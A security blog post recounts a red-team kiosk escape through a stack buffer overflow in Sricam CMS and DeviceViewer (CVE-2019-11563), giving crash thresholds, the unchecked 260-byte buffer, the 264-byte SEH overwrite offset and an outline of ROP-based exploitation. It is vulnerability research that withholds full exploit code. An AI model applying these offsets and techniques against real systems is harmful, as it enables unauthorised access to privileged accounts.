A tale of a kiosk escape: ‘Sricam CMS’ Stack Buffer Overflow

Posted by: voidsec

Reading Time: 21 minutes

TL;DR: Shenzhen Sricctv Technology Sricam CMS (SricamPC.exe) <= v.1.0.0.53(4) and DeviceViewer (DeviceViewer.exe) <= v.3.10.12.0 (CVE-2019-11563) are affected by a local Stack Buffer Overflow. By creating a specially crafted “Username” and copying its value in the “User/mail” login field, an attacker will be able to gain arbitrary code execution in the context of the currently logged-in user.

Please Note: by default, Sricam CMS requires elevation and runs in High Integrity mode; exploitation of the above software will result in a compromise of a privileged account (administrator).

Red-Team Engagement

During a recent red-team engagement (physical access was allowed) I’ve discovered some interesting hosts on the network: some fully patched Windows 10 OS touchscreen devices, running the “Shenzhen Sricctv Technology DeviceViewer and SricamCMS” software in “kiosk” mode.

A captive kiosk is normally meant to only allow a limited number of users to do: a set of pre-determined tasks and limit viewable data without the possibility of accessing the underlying operating system. In this case, it was used by security operators to monitor CCTVs on the premise.

Please note: on Windows 10, instead of using home-made “kiosk” modes, there is an inbuilt option called: “Assigned Access”.

Assigned Access is a feature that creates a lockdown environment that lets users interact with one app only when they sign-in into a specified account. With Assigned Access, users won’t be able to reach the desktop, start menu, or any other app, including the “Settings App”.

A single-app kiosk (ideal for public use), will runs a single Universal Windows Platform (UWP) app in full screen above the lock screen. People using the kiosk will be able to see only the chosen app.

When the kiosk account (a local standard user account) signs in, the kiosk app will launch automatically, you can configure the kiosk account to sign in automatically as well. If the kiosk app is closed, it will automatically restart.

Some useful resources about “Assigned Access”

Disassembling

Searching a way to perform a “kiosk escape” attack, gaining access to the underlying OS and a foothold on the client’s network, I found that in 2019 Hayden Wright discovered a stack-based buffer overflow in DeviceViewer [EDB].

Unfortunately, the PoC was meant only for Windows XP and 7 while I had to target Windows 10 with DEP and ASLR turned on.

For this reason, armed with IDA and Immunity Debugger I’ve started debugging the applications.

Looking at the disassembled software we can note a call to “__security_check_cookie” thus meaning that the code was compiled with the “/GS” Buffer Security Check flag enabled. Stack cookies are then present and we should take care of them when exploiting our buffer overflow.

PoC: causing the crash

Trying different payload sizes for our username field, I have discovered that the application will behave in different ways.

Username value size:

  • 0: username cannot be empty
  • <=259: data parameter error
  • 260-283: RtlFailFast()

This is invoked when validation of a given LIST_ENTRY object fails, this validation was introduced to detect data corruption as fast as possible and to prevent the system from being exploited.

“Fail fast on linked list node corruption, the segment heap uses linked lists to track segments and sub-segments. As with the NT heap (Windows 8), checks are added in the list node insertion and removal to prevent arbitrary memory writes due to corrupted list nodes. If a corrupted node is detected, the process is terminated via a call to RtlFailFast.” – Windows Internals 7th Edition Part 1

>=284: CRASH

Generating a large “username” value (~>= 284 chars), and pasting it into the “User/mail” login field, we’ll be able to see that an exception will be triggered in our debugger.

Fortunately, the crash can be triggered on both the applications, DeviceViewer and SricamCMS.

“The instruction at 0x545FB2 referenced memory at 0x4141413D. The memory could not be read -> 4141413D (exc.code c0000005, tid 4652)”

As we can see from the above screenshot, EAX has value 0x41414141 and, when the software will try to perform the following operation: cmp dword ptr [eax-4], 1 the location pointed by EAX-4 became invalid as it’s not mapped to our software and cannot be read.

Passing the exception to the debugged software will crash it. Cool, but why?

If we “translate” the assembly to a C pseudocode we will be able to see something along this line:

  Maps a UTF-16 (wide character) string to a new character string. The new character string is not necessarily from a multibyte character set. 
  
  Caution  Using the WideCharToMultiByte function incorrectly can compromise the security of your application. Calling this function can easily cause a buffer overrun because the size of the input buffer indicated by lpWideCharStr equals the number of characters in the Unicode string, while the size of the output buffer indicated by lpMultiByteStr equals the number of bytes. To avoid a buffer overrun, your application must specify a buffer size appropriate for the data type the buffer receives.
  
  Data converted from UTF-16 to non-Unicode encodings is subject to data loss, because a code page might not be able to represent every character used in the specific Unicode data. For more information, see Security Considerations: International Features.

[--SNIP--]

As we can see at line 27 and 29:

char v27; // [esp+124h]
char v28; // [esp+228h]

two different contiguous memory locations of 260 bytes are created.

At line 40 this area is zeroed out: memset(&v28, 0, 0x104u);

While at line 84 after the “Username” value has undergone several transformations (WideCharToMultiByte), it’s value is finally copied on the stack: memmove_0(&v28, lpMultiByteStr, v4 + 1);

Despite my initial thoughts, the cause of this crash has nothing to do with the WideCharToMultiByte function and the fact that:

“the size of the input buffer indicated by lpWideCharStr equals the number of characters in the Unicode string, while the size of the output buffer indicated by lpMultiByteStr equals the number of byte”

nor with some functions using the “\x00” as null-terminator while others copying n. bytes.

It’s everything easier than that, the developers created an area of 260 bytes length, without checking the actual size of the “Username” value and, as the text area does not limit the number of characters, here the crash.

Username values bigger than the actual buffer of 260 bytes will overwrite the stack when memmove will copy them. Overwriting the stack with enough garbage will allow us to corrupt the SEH handler.

SEH Overwrite

On all the tested Windows versions:

  • Windows XP Pro x86 v.5.1.2600 SP 3 Build 2600
  • Windows 7 Pro x86 v.6.1.7601 SP 1 Build 7601
  • Windows 10 Pro x64 v.1909 Build 18363.720

SEH corruption will happen after 264 bytes. SEH corruption will also allow us to forget about stack cookies as “we can defeat stack protection by triggering an exception before the cookie is checked during the epilogue (or we can try to overwrite other data (parameters that are pushed onto the stack to the vulnerable function), which is referenced before the cookie check is performed.), and then deal with possible SEH protection mechanisms, if any…” – corelanc0d3r

But, while on Windows XP, our stack-based buffer overflow will be only a plain SEH exploit, on Windows 7 and Windows 10 we should also account for ASLR and DEP.

Here the different buffers structure that we will need to create in order to trigger the exploit on the different OS versions.

Exploitation

I won’t dive further into the exploit development process because, aside from some ROP fixing and custom gadgets, it’s a standard and well-documented process (check corelan and FuzzySecurity website if you are interested). The only notable point is that, on Windows 7, upon multiple execution, we can see that the point where we land on the stack changes. That’s why I’ve introduced an ROP NOP to “sled” directly at the beginning of our ROP chain and increase the exploit reliability.

Final Considerations

Despite this exploit is pretty much useless outside of this specific context, going back to the start of this red-tam scenario: I’ve exploited the “kiosk” machine, writing the final payload on a badge and reading it with a scanner; scanner fill-in operator’s login credential, exploiting the vulnerability in DeviceViewer and Sricam CMS, granting me a “kiosk” escape, access to the underlying OS and a foothold in client’s network.
